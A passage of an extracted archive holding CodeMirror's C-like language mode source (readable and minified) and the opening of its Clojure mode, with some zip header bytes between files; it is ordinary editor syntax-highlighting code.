    builtin: words("radians degrees sin cos tan asin acos atan "
+
                    "pow exp log exp2 sqrt inversesqrt " +
                    "abs sign floor ceil fract mod min max clamp mix
step smoothstep " +
                    "length distance dot cross normalize ftransform
faceforward " +
                    "reflect refract matrixCompMult " +
                    "lessThan lessThanEqual greaterThan
greaterThanEqual " +
                    "equal notEqual any all not " +
                    "texture1D texture1DProj texture1DLod
texture1DProjLod " +
                    "texture2D texture2DProj texture2DLod
texture2DProjLod " +
                    "texture3D texture3DProj texture3DLod
texture3DProjLod " +
                    "textureCube textureCubeLod " +
                    "shadow1D shadow2D shadow1DProj shadow2DProj
" +
                    "shadow1DLod shadow2DLod shadow1DProjLod
shadow2DProjLod " +
                    "dFdx dFdy fwidth " +
                    "noise1 noise2 noise3 noise4"),
    atoms: words("true false " +
                "gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex
" +
                "gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2
gl_MultiTexCoord3 " +
                "gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6
gl_MultiTexCoord7 " +
                "gl_FogCoord gl_PointCoord " +
                "gl_Position gl_PointSize gl_ClipVertex " +
                "gl_FrontColor gl_BackColor gl_FrontSecondaryColor
gl_BackSecondaryColor " +
                "gl_TexCoord gl_FogFragCoord " +
                "gl_FragCoord gl_FrontFacing " +
                "gl_FragData gl_FragDepth " +
                "gl_ModelViewMatrix gl_ProjectionMatrix
gl_ModelViewProjectionMatrix " +
                "gl_TextureMatrix gl_NormalMatrix
gl_ModelViewMatrixInverse " +
                "gl_ProjectionMatrixInverse
gl_ModelViewProjectionMatrixInverse " +
                "gl_TexureMatrixTranspose
gl_ModelViewMatrixInverseTranspose " +
                "gl_ProjectionMatrixInverseTranspose " +
                "gl_ModelViewProjectionMatrixInverseTranspose " +
                "gl_TextureMatrixInverseTranspose " +
                "gl_NormalScale gl_DepthRange gl_ClipPlane " +
                "gl_Point gl_FrontMaterial gl_BackMaterial
gl_LightSource gl_LightModel " +
                "gl_FrontLightModelProduct gl_BackLightModelProduct
" +
                "gl_TextureColor gl_EyePlaneS gl_EyePlaneT
gl_EyePlaneR gl_EyePlaneQ " +
                "gl_FogParameters " +
                "gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits
gl_MaxTextureCoords " +
                "gl_MaxVertexAttribs gl_MaxVertexUniformComponents
gl_MaxVaryingFloats " +
                "gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits
" +
                "gl_MaxFragmentUniformComponents
gl_MaxCombineTextureImageUnits " +
                "gl_MaxDrawBuffers"),
    indentSwitch: false,
    hooks: {"#": cppHook},
    modeProps: {fold: ["brace", "include"]}
  });

  def("text/x-nesc", {
    name: "clike",
    keywords: words(cKeywords + " as atomic async call command
component components configuration event generic " +
                    "implementation includes interface module new
norace nx_struct nx_union post provides " +
                    "signal task uses abstract extends"),
    types: cTypes,
    blockKeywords: words(cBlockKeywords),
    atoms: words("null true false"),
    hooks: {"#": cppHook},
    modeProps: {fold: ["brace", "include"]}
  });

  def("text/x-objectivec", {
    name: "clike",
    keywords: words(cKeywords + " " + objCKeywords),
    types: objCTypes,
    builtin: words(objCBuiltins),
    blockKeywords: words(cBlockKeywords + " @synthesize @try @catch
@finally @autoreleasepool @synchronized"),
    defKeywords: words(cDefKeywords + " @interface @implementation
@protocol @class"),
    dontIndentStatements: /^@.*$/,
    typeFirstDefinitions: true,
    atoms: words("YES NO NULL Nil nil true false nullptr"),
    isReservedIdentifier: cIsReservedIdentifier,
    hooks: {
      "#": cppHook,
      "*": pointerHook,
    },
    modeProps: {fold: ["brace", "include"]}
  });

  def("text/x-objectivec++", {
    name: "clike",
    keywords: words(cKeywords + " " + objCKeywords + "
" + cppKeywords),
    types: objCTypes,
    builtin: words(objCBuiltins),
    blockKeywords: words(cBlockKeywords + " @synthesize @try @catch
@finally @autoreleasepool @synchronized class try catch"),
    defKeywords: words(cDefKeywords + " @interface @implementation
@protocol @class class namespace"),
    dontIndentStatements: /^@.*$|^template$/,
    typeFirstDefinitions: true,
    atoms: words("YES NO NULL Nil nil true false nullptr"),
    isReservedIdentifier: cIsReservedIdentifier,
    hooks: {
      "#": cppHook,
      "*": pointerHook,
      "u": cpp11StringHook,
      "U": cpp11StringHook,
      "L": cpp11StringHook,
      "R": cpp11StringHook,
      "0": cpp14Literal,
      "1": cpp14Literal,
      "2": cpp14Literal,
      "3": cpp14Literal,
      "4": cpp14Literal,
      "5": cpp14Literal,
      "6": cpp14Literal,
      "7": cpp14Literal,
      "8": cpp14Literal,
      "9": cpp14Literal,
      token: function(stream, state, style) {
        if (style == "variable" && stream.peek() ==
"(" &&
            (state.prevToken == ";" || state.prevToken == null ||
             state.prevToken == "}") &&
            cppLooksLikeConstructor(stream.current()))
          return "def";
      }
    },
    namespaceSeparator: "::",
    modeProps: {fold: ["brace", "include"]}
  });

  def("text/x-squirrel", {
    name: "clike",
    keywords: words("base break clone continue const default delete
enum extends function in class" +
                    " foreach local resume return this throw typeof
yield constructor instanceof static"),
    types: cTypes,
    blockKeywords: words("case catch class else for foreach if switch
try while"),
    defKeywords: words("function local class"),
    typeFirstDefinitions: true,
    atoms: words("true false null"),
    hooks: {"#": cppHook},
    modeProps: {fold: ["brace", "include"]}
  });

  // Ceylon Strings need to deal with interpolation
  var stringTokenizer = null;
  function tokenCeylonString(type) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while (!stream.eol()) {
        if (!escaped && stream.match('"') &&
              (type == "single" ||
stream.match('""'))) {
          end = true;
          break;
        }
        if (!escaped && stream.match('``')) {
          stringTokenizer = tokenCeylonString(type);
          end = true;
          break;
        }
        next = stream.next();
        escaped = type == "single" && !escaped &&
next == "\\";
      }
      if (end)
          state.tokenize = null;
      return "string";
    }
  }

  def("text/x-ceylon", {
    name: "clike",
    keywords: words("abstracts alias assembly assert assign break case
catch class continue dynamic else" +
                    " exists extends finally for function given if
import in interface is let module new" +
                    " nonempty object of out outer package return
satisfies super switch then this throw" +
                    " try value void while"),
    types: function(word) {
        // In Ceylon all identifiers that start with an uppercase are types
        var first = word.charAt(0);
        return (first === first.toUpperCase() && first !==
first.toLowerCase());
    },
    blockKeywords: words("case catch class dynamic else finally for
function if interface module new object switch try while"),
    defKeywords: words("class dynamic function interface module object
package value"),
    builtin: words("abstract actual aliased annotation by default
deprecated doc final formal late license" +
                   " native optional sealed see serializable shared
suppressWarnings tagged throws variable"),
    isPunctuationChar: /[\[\]{}\(\),;\:\.`]/,
    isOperatorChar: /[+\-*&%=<>!?|^~:\/]/,
    numberStart: /[\d#$]/,
    number:
/^(?:#[\da-fA-F_]+|\$[01_]+|[\d_]+[kMGTPmunpf]?|[\d_]+\.[\d_]+(?:[eE][-+]?\d+|[kMGTPmunpf]|)|)/i,
    multiLineStrings: true,
    typeFirstDefinitions: true,
    atoms: words("true false null larger smaller equal empty
finished"),
    indentSwitch: false,
    styleDefs: false,
    hooks: {
      "@": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "meta";
      },
      '"': function(stream, state) {
          state.tokenize =
tokenCeylonString(stream.match('""') ?
"triple" : "single");
          return state.tokenize(stream, state);
        },
      '`': function(stream, state) {
          if (!stringTokenizer || !stream.match('`')) return
false;
          state.tokenize = stringTokenizer;
          stringTokenizer = null;
          return state.tokenize(stream, state);
        },
      "'": function(stream) {
        stream.eatWhile(/[\w\$_\xa1-\uffff]/);
        return "atom";
      },
      token: function(_stream, state, style) {
          if ((style == "variable" || style == "type")
&&
              state.prevToken == ".") {
            return "variable-2";
          }
        }
    },
    modeProps: {
        fold: ["brace", "import"],
        closeBrackets: {triples: '"'}
    }
  });

});
PKD��[�
��Q�Q"codemirror/mode/clike/clike.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.info=d,this.align=e,this.prev=f}function
c(a,c,d,e){var f=a.indented;return
a.context&&"statement"==a.context.type&&"statement"!=d&&(f=a.context.indented),a.context=new
b(f,c,d,e,null,a.context)}function d(a){var
b=a.context.type;return")"!=b&&"]"!=b&&"}"!=b||(a.indented=a.context.indented),a.context=a.context.prev}function
e(a,b,c){return"variable"==b.prevToken||"type"==b.prevToken||(!!/\S(?:[^-
]>|[*\]])\s*$|\*$/.test(a.string.slice(0,c))||(!(!b.typeAtEndOfLine||a.column()!=a.indentation())||void
0))}function
f(a){for(;;){if(!a||"top"==a.type)return!0;if("}"==a.type&&"namespace"!=a.prev.info)return!1;a=a.prev}}function
g(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function
h(a,b){return"function"==typeof
a?a(b):a.propertyIsEnumerable(b)}function i(a){return
h(B,a)||/.+_t$/.test(a)}function j(a){return i(a)||h(C,a)}function
k(a,b){if(!b.startOfLine)return!1;for(var
c,d=null;c=a.peek();){if("\\"==c&&a.match(/^.$/)){d=k;break}if("/"==c&&a.match(/^\/[\/\*]/,!1))break;a.next()}return
b.tokenize=d,"meta"}function
l(a,b){return"type"==b.prevToken&&"type"}function
m(a){return!(!a||a.length<2)&&("_"==a[0]&&("_"==a[1]||a[1]!==a[1].toLowerCase()))}function
n(a){return a.eatWhile(/[\w\.']/),"number"}function
o(a,b){if(a.backUp(1),a.match(/(R|u8R|uR|UR|LR)/)){var
c=a.match(/"([^\s\\()]{0,16})\(/);return!!c&&(b.cpp11RawStringDelim=c[1],b.tokenize=r,r(a,b))}return
a.match(/(u8|u|U|L)/)?!!a.match(/["']/,!1)&&"string":(a.next(),!1)}function
p(a){var b=/(\w+)::~?(\w+)$/.exec(a);return b&&b[1]==b[2]}function
q(a,b){for(var
c;null!=(c=a.next());)if('"'==c&&!a.eat('"')){b.tokenize=null;break}return"string"}function
r(a,b){var
c=b.cpp11RawStringDelim.replace(/[^\w\s]/g,"\\$&");return
a.match(new
RegExp(".*?\\)"+c+'"'))?b.tokenize=null:a.skipToEnd(),"string"}function
s(b,c){function d(a){if(a)for(var b in
a)a.hasOwnProperty(b)&&e.push(b)}"string"==typeof
b&&(b=[b]);var
e=[];d(c.keywords),d(c.types),d(c.builtin),d(c.atoms),e.length&&(c.helperType=b[0],a.registerHelper("hintWords",b[0],e));for(var
f=0;f<b.length;++f)a.defineMIME(b[f],c)}function t(a,b){for(var
c=!1;!a.eol();){if(!c&&a.match('"""')){b.tokenize=null;break}c="\\"==a.next()&&!c}return"string"}function
u(a){return function(b,c){for(var
d;d=b.next();){if("*"==d&&b.eat("/")){if(1==a){c.tokenize=null;break}return
c.tokenize=u(a-1),c.tokenize(b,c)}if("/"==d&&b.eat("*"))return
c.tokenize=u(a+1),c.tokenize(b,c)}return"comment"}}function
v(a){return function(b,c){for(var
d,e=!1,f=!1;!b.eol();){if(!a&&!e&&b.match('"')){f=!0;break}if(a&&b.match('"""')){f=!0;break}d=b.next(),!e&&"$"==d&&b.match("{")&&b.skipTo("}"),e=!e&&"\\"==d&&!a}return!f&&a||(c.tokenize=null),"string"}}function
w(a){return function(b,c){for(var
d,e=!1,f=!1;!b.eol();){if(!e&&b.match('"')&&("single"==a||b.match('""'))){f=!0;break}if(!e&&b.match("``")){E=w(a),f=!0;break}d=b.next(),e="single"==a&&!e&&"\\"==d}return
f&&(c.tokenize=null),"string"}}a.defineMode("clike",(function(g,i){function
j(a,b){var c=a.next();if(y[c]){var d=y[c](a,b);if(!1!==d)return
d}if('"'==c||"'"==c)return
b.tokenize=k(c),b.tokenize(a,b);if(D.test(c))return
n=c,null;if(E.test(c)){if(a.backUp(1),a.match(F))return"number";a.next()}if("/"==c){if(a.eat("*"))return
b.tokenize=l,l(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}if(G.test(c)){for(;!a.match(/^\/[\/*]/,!1)&&a.eat(G););return"operator"}if(a.eatWhile(H),C)for(;a.match(C);)a.eatWhile(H);var
e=a.current();return
h(s,e)?(h(v,e)&&(n="newstatement"),h(w,e)&&(o=!0),"keyword"):h(t,e)?"type":h(u,e)||I&&I(e)?(h(v,e)&&(n="newstatement"),"builtin"):h(x,e)?"atom":"variable"}function
k(a){return function(b,c){for(var
d,e=!1,f=!1;null!=(d=b.next());){if(d==a&&!e){f=!0;break}e=!e&&"\\"==d}return(f||!e&&!z)&&(c.tokenize=null),"string"}}function
l(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=null;break}d="*"==c}return"comment"}function
m(a,b){i.typeFirstDefinitions&&a.eol()&&f(b.context)&&(b.typeAtEndOfLine=e(a,b,a.pos))}var
n,o,p=g.indentUnit,q=i.statementIndentUnit||p,r=i.dontAlignCalls,s=i.keywords||{},t=i.types||{},u=i.builtin||{},v=i.blockKeywords||{},w=i.defKeywords||{},x=i.atoms||{},y=i.hooks||{},z=i.multiLineStrings,A=!1!==i.indentStatements,B=!1!==i.indentSwitch,C=i.namespaceSeparator,D=i.isPunctuationChar||/[\[\]{}\(\),;\:\.]/,E=i.numberStart||/[\d\.]/,F=i.number||/^(?:0x[a-f\d]+|0b[01]+|(?:\d+\.?\d*|\.\d+)(?:e[-+]?\d+)?)(u|ll?|l|f)?/i,G=i.isOperatorChar||/[+\-*&%=<>!?|\/]/,H=i.isIdentifierChar||/[\w\$_\xa1-\uffff]/,I=i.isReservedIdentifier||!1;return{startState:function(a){return{tokenize:null,context:new
b((a||0)-p,0,"top",null,!1),indented:0,startOfLine:!0,prevToken:null}},token:function(a,b){var
g=b.context;if(a.sol()&&(null==g.align&&(g.align=!1),b.indented=a.indentation(),b.startOfLine=!0),a.eatSpace())return
m(a,b),null;n=o=null;var
h=(b.tokenize||j)(a,b);if("comment"==h||"meta"==h)return
h;if(null==g.align&&(g.align=!0),";"==n||":"==n||","==n&&a.match(/^\s*(?:\/\/.*)?$/,!1))for(;"statement"==b.context.type;)d(b);else
if("{"==n)c(b,a.column(),"}");else
if("["==n)c(b,a.column(),"]");else
if("("==n)c(b,a.column(),")");else
if("}"==n){for(;"statement"==g.type;)g=d(b);for("}"==g.type&&(g=d(b));"statement"==g.type;)g=d(b)}else
n==g.type?d(b):A&&(("}"==g.type||"top"==g.type)&&";"!=n||"statement"==g.type&&"newstatement"==n)&&c(b,a.column(),"statement",a.current());if("variable"==h&&("def"==b.prevToken||i.typeFirstDefinitions&&e(a,b,a.start)&&f(b.context)&&a.match(/^\s*\(/,!1))&&(h="def"),y.token){var
k=y.token(a,b,h);void
0!==k&&(h=k)}return"def"==h&&!1===i.styleDefs&&(h="variable"),b.startOfLine=!1,b.prevToken=o?"def":h||n,m(a,b),h},indent:function(b,c){if(b.tokenize!=j&&null!=b.tokenize||b.typeAtEndOfLine)return
a.Pass;var
d=b.context,e=c&&c.charAt(0),f=e==d.type;if("statement"==d.type&&"}"==e&&(d=d.prev),i.dontIndentStatements)for(;"statement"==d.type&&i.dontIndentStatements.test(d.info);)d=d.prev;if(y.indent){var
g=y.indent(b,d,c,p);if("number"==typeof g)return g}var
h=d.prev&&"switch"==d.prev.info;if(i.allmanIndentation&&/[{(]/.test(e)){for(;"top"!=d.type&&"}"!=d.type;)d=d.prev;return
d.indented}return"statement"==d.type?d.indented+("{"==e?0:q):!d.align||r&&")"==d.type?")"!=d.type||f?d.indented+(f?0:p)+(f||!h||/^(?:case|default)\b/.test(c)?0:p):d.indented+q:d.column+(f?0:1)},electricInput:B?/^\s*(?:case
.*?:|default:|\{\}?|\})$/:/^\s*[{}]$/,blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:"
* ",lineComment:"//",fold:"brace"}}));var
x="auto if break case register continue return default do sizeof
static else struct switch extern typedef union for goto while enum const
volatile inline restrict asm fortran",y="alignas alignof and
and_eq audit axiom bitand bitor catch class compl concept constexpr
const_cast decltype delete dynamic_cast explicit export final friend import
module mutable namespace new noexcept not not_eq operator or or_eq override
private protected public reinterpret_cast requires static_assert
static_cast template this thread_local throw try typeid typename using
virtual xor xor_eq",z="bycopy byref in inout oneway out self
super atomic nonatomic retain copy readwrite readonly strong weak assign
typeof nullable nonnull null_resettable _cmd @interface @implementation
@end @protocol @encode @property @synthesize @dynamic @class @public
@package @private @protected @required @optional @try @catch @finally
@import @selector @encode @defs @synchronized @autoreleasepool
@compatibility_alias @available",A="FOUNDATION_EXPORT
FOUNDATION_EXTERN NS_INLINE NS_FORMAT_FUNCTION 
NS_RETURNS_RETAINEDNS_ERROR_ENUM NS_RETURNS_NOT_RETAINED
NS_RETURNS_INNER_POINTER NS_DESIGNATED_INITIALIZER NS_ENUM NS_OPTIONS
NS_REQUIRES_NIL_TERMINATION NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END
NS_SWIFT_NAME NS_REFINED_FOR_SWIFT",B=g("int long char short
double float unsigned signed void bool"),C=g("SEL instancetype id
Class Protocol BOOL"),D="case do else for if switch while struct
enum
union";s(["text/x-csrc","text/x-c","text/x-chdr"],{name:"clike",keywords:g(x),types:i,blockKeywords:g(D),defKeywords:g("struct
enum union"),typeFirstDefinitions:!0,atoms:g("NULL true
false"),isReservedIdentifier:m,hooks:{"#":k,"*":l},modeProps:{fold:["brace","include"]}}),s(["text/x-c++src","text/x-c++hdr"],{name:"clike",keywords:g(x+"
"+y),types:i,blockKeywords:g(D+" class try
catch"),defKeywords:g("struct enum union class
namespace"),typeFirstDefinitions:!0,atoms:g("true false NULL
nullptr"),dontIndentStatements:/^template$/,isIdentifierChar:/[\w\$_~\xa1-\uffff]/,isReservedIdentifier:m,hooks:{"#":k,"*":l,u:o,U:o,L:o,R:o,0:n,1:n,2:n,3:n,4:n,5:n,6:n,7:n,8:n,9:n,token:function(a,b,c){if("variable"==c&&"("==a.peek()&&(";"==b.prevToken||null==b.prevToken||"}"==b.prevToken)&&p(a.current()))return"def"}},namespaceSeparator:"::",modeProps:{fold:["brace","include"]}}),s("text/x-java",{name:"clike",keywords:g("abstract
assert break case catch class const continue default do else enum extends
final finally for goto if implements import instanceof interface native new
package private protected public return static strictfp super switch
synchronized this throw throws transient try volatile while
@interface"),types:g("byte short int long float double boolean
char void Boolean Byte Character Double Float Integer Long Number Object
Short String StringBuffer StringBuilder
Void"),blockKeywords:g("catch class do else finally for if switch
try while"),defKeywords:g("class interface enum
@interface"),typeFirstDefinitions:!0,atoms:g("true false
null"),number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+\.?\d*|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,hooks:{"@":function(a){return!a.match("interface",!1)&&(a.eatWhile(/[\w\$_]/),"meta")}},modeProps:{fold:["brace","import"]}}),s("text/x-csharp",{name:"clike",keywords:g("abstract
as async await base break case catch checked class const continue default
delegate do else enum event explicit extern finally fixed for foreach goto
if implicit in interface internal is lock namespace new operator out
override params private protected public readonly ref return sealed sizeof
stackalloc static struct switch this throw try typeof unchecked unsafe
using virtual void volatile while add alias ascending descending dynamic
from get global group into join let orderby partial remove select set value
var yield"),types:g("Action Boolean Byte Char DateTime
DateTimeOffset Decimal Double Func Guid Int16 Int32 Int64 Object SByte
Single String Task TimeSpan UInt16 UInt32 UInt64 bool byte char decimal
double short int long object sbyte float string ushort uint
ulong"),blockKeywords:g("catch class do else finally for foreach
if struct switch try while"),defKeywords:g("class interface
namespace struct var"),typeFirstDefinitions:!0,atoms:g("true
false null"),hooks:{"@":function(a,b){return
a.eat('"')?(b.tokenize=q,q(a,b)):(a.eatWhile(/[\w\$_]/),"meta")}}}),s("text/x-scala",{name:"clike",keywords:g("abstract
case catch class def do else extends final finally for forSome if implicit
import lazy match new null object override package private protected return
sealed super this throw trait try type val var while with yield _ assert
assume require print println printf readLine readBoolean readByte readShort
readChar readInt readLong readFloat readDouble"),types:g("AnyVal
App Application Array BufferedIterator BigDecimal BigInt Char Console
Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Int
Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered
Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq
Serializable Set Specializable Stream StringBuilder StringContext Symbol
Throwable Traversable TraversableOnce Tuple Unit Vector Boolean Byte
Character CharSequence Class ClassLoader Cloneable Comparable Compiler
Double Exception Float Integer Long Math Number Object Package Pair Process
Runtime Runnable SecurityManager Short StackTraceElement StrictMath String
StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple
Void"),multiLineStrings:!0,blockKeywords:g("catch class enum do
else finally for forSome if match switch try
while"),defKeywords:g("class enum def object package trait type
val var"),atoms:g("true false
null"),indentStatements:!1,indentSwitch:!1,isOperatorChar:/[+\-*&%=<>!?|\/#:@]/,hooks:{"@":function(a){return
a.eatWhile(/[\w\$_]/),"meta"},'"':function(a,b){return!!a.match('""')&&(b.tokenize=t,b.tokenize(a,b))},"'":function(a){return
a.eatWhile(/[\w\$_\xa1-\uffff]/),"atom"},"=":function(a,c){var
d=c.context;return!("}"!=d.type||!d.align||!a.eat(">"))&&(c.context=new
b(d.indented,d.column,d.type,d.info,null,d.prev),"operator")},"/":function(a,b){return!!a.eat("*")&&(b.tokenize=u(1),b.tokenize(a,b))}},modeProps:{closeBrackets:{pairs:'()[]{}""',triples:'"'}}}),s("text/x-kotlin",{name:"clike",keywords:g("package
as typealias class interface this super val operator var fun for is in This
throw return annotation break continue object if else while do try when !in
!is as? file import where by get set abstract enum open inner override
private public internal protected catch finally out final vararg reified
dynamic companion constructor init sealed field property receiver param
sparam lateinit data inline noinline tailrec external annotation
crossinline const operator infix suspend actual expect
setparam"),types:g("Boolean Byte Character CharSequence Class
ClassLoader Cloneable Comparable Compiler Double Exception Float Integer
Long Math Number Object Package Pair Process Runtime Runnable
SecurityManager Short StackTraceElement StrictMath String StringBuffer
System Thread ThreadGroup ThreadLocal Throwable Triple Void Annotation Any
BooleanArray ByteArray Char CharArray DeprecationLevel DoubleArray Enum
FloatArray Function Int IntArray Lazy LazyThreadSafetyMode LongArray
Nothing ShortArray
Unit"),intendSwitch:!1,indentStatements:!1,multiLineStrings:!0,number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+(\.\d+)?|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,blockKeywords:g("catch
class do else finally for if where try while
enum"),defKeywords:g("class val var object interface
fun"),atoms:g("true false null
this"),hooks:{"@":function(a){return
a.eatWhile(/[\w\$_]/),"meta"},"*":function(a,b){return"."==b.prevToken?"variable":"operator"},'"':function(a,b){return
b.tokenize=v(a.match('""')),b.tokenize(a,b)},"/":function(a,b){return!!a.eat("*")&&(b.tokenize=u(1),b.tokenize(a,b))},indent:function(a,b,c,d){var
e=c&&c.charAt(0);return"}"!=a.prevToken&&")"!=a.prevToken||""!=c?"operator"==a.prevToken&&"}"!=c&&"}"!=a.context.type||"variable"==a.prevToken&&"."==e||("}"==a.prevToken||")"==a.prevToken)&&"."==e?2*d+b.indented:b.align&&"}"==b.type?b.indented+(a.context.type==(c||"").charAt(0)?0:d):void
0:a.indented}},modeProps:{closeBrackets:{triples:'"'}}}),s(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:g("sampler1D
sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadow const
attribute uniform varying break continue discard return for while do if
else struct in out inout"),types:g("float int bool void vec2 vec3
vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3
mat4"),blockKeywords:g("for while do if else
struct"),builtin:g("radians degrees sin cos tan asin acos atan
pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max
clamp mix step smoothstep length distance dot cross normalize ftransform
faceforward reflect refract matrixCompMult lessThan lessThanEqual
greaterThan greaterThanEqual equal notEqual any all not texture1D
texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj
texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod
texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj
shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx
dFdy fwidth noise1 noise2 noise3 noise4"),atoms:g("true false
gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0
gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4
gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord
gl_PointCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor
gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord
gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragData gl_FragDepth
gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix
gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse
gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse
gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose
gl_ProjectionMatrixInverseTranspose
gl_ModelViewProjectionMatrixInverseTranspose
gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane
gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel
gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor
gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters
gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords
gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats
gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits
gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits
gl_MaxDrawBuffers"),indentSwitch:!1,hooks:{"#":k},modeProps:{fold:["brace","include"]}}),s("text/x-nesc",{name:"clike",keywords:g(x+"
as atomic async call command component components configuration event
generic implementation includes interface module new norace nx_struct
nx_union post provides signal task uses abstract
extends"),types:i,blockKeywords:g(D),atoms:g("null true
false"),hooks:{"#":k},modeProps:{fold:["brace","include"]}}),s("text/x-objectivec",{name:"clike",keywords:g(x+"
"+z),types:j,builtin:g(A),blockKeywords:g(D+" @synthesize @try
@catch @finally @autoreleasepool
@synchronized"),defKeywords:g("struct enum union @interface
@implementation @protocol
@class"),dontIndentStatements:/^@.*$/,typeFirstDefinitions:!0,atoms:g("YES
NO NULL Nil nil true false
nullptr"),isReservedIdentifier:m,hooks:{"#":k,"*":l},modeProps:{fold:["brace","include"]}}),s("text/x-objectivec++",{name:"clike",keywords:g(x+"
"+z+" "+y),types:j,builtin:g(A),blockKeywords:g(D+"
@synthesize @try @catch @finally @autoreleasepool @synchronized class try
catch"),defKeywords:g("struct enum union @interface
@implementation @protocol @class class
namespace"),dontIndentStatements:/^@.*$|^template$/,typeFirstDefinitions:!0,atoms:g("YES
NO NULL Nil nil true false
nullptr"),isReservedIdentifier:m,hooks:{"#":k,"*":l,u:o,U:o,L:o,R:o,0:n,1:n,2:n,3:n,4:n,5:n,6:n,7:n,8:n,9:n,token:function(a,b,c){if("variable"==c&&"("==a.peek()&&(";"==b.prevToken||null==b.prevToken||"}"==b.prevToken)&&p(a.current()))return"def"}},namespaceSeparator:"::",modeProps:{fold:["brace","include"]}}),s("text/x-squirrel",{name:"clike",keywords:g("base
break clone continue const default delete enum extends function in class
foreach local resume return this throw typeof yield constructor instanceof
static"),types:i,blockKeywords:g("case catch class else for
foreach if switch try while"),defKeywords:g("function local
class"),typeFirstDefinitions:!0,atoms:g("true false
null"),hooks:{"#":k},modeProps:{fold:["brace","include"]}});var
E=null;s("text/x-ceylon",{name:"clike",keywords:g("abstracts
alias assembly assert assign break case catch class continue dynamic else
exists extends finally for function given if import in interface is let
module new nonempty object of out outer package return satisfies super
switch then this throw try value void while"),types:function(a){var
b=a.charAt(0);return
b===b.toUpperCase()&&b!==b.toLowerCase()},blockKeywords:g("case
catch class dynamic else finally for function if interface module new
object switch try while"),defKeywords:g("class dynamic function
interface module object package value"),builtin:g("abstract
actual aliased annotation by default deprecated doc final formal late
license native optional sealed see serializable shared suppressWarnings
tagged throws
variable"),isPunctuationChar:/[\[\]{}\(\),;\:\.`]/,isOperatorChar:/[+\-*&%=<>!?|^~:\/]/,numberStart:/[\d#$]/,number:/^(?:#[\da-fA-F_]+|\$[01_]+|[\d_]+[kMGTPmunpf]?|[\d_]+\.[\d_]+(?:[eE][-+]?\d+|[kMGTPmunpf]|)|)/i,multiLineStrings:!0,typeFirstDefinitions:!0,atoms:g("true
false null larger smaller equal empty
finished"),indentSwitch:!1,styleDefs:!1,hooks:{"@":function(a){return
a.eatWhile(/[\w\$_]/),"meta"},'"':function(a,b){return
b.tokenize=w(a.match('""')?"triple":"single"),b.tokenize(a,b)},"`":function(a,b){return!(!E||!a.match("`"))&&(b.tokenize=E,E=null,b.tokenize(a,b))},"'":function(a){return
a.eatWhile(/[\w\$_\xa1-\uffff]/),"atom"},token:function(a,b,c){if(("variable"==c||"type"==c)&&"."==b.prevToken)return"variable-2"}},modeProps:{fold:["brace","import"],closeBrackets:{triples:'"'}}})}));PKD��[C�k�<<"codemirror/mode/clojure/clojure.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports === "object" && typeof module ===
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define === "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("clojure", function (options) {
  var atoms = ["false", "nil", "true"];
  var specialForms = [".", "catch", "def",
"do", "if", "monitor-enter",
      "monitor-exit", "new", "quote",
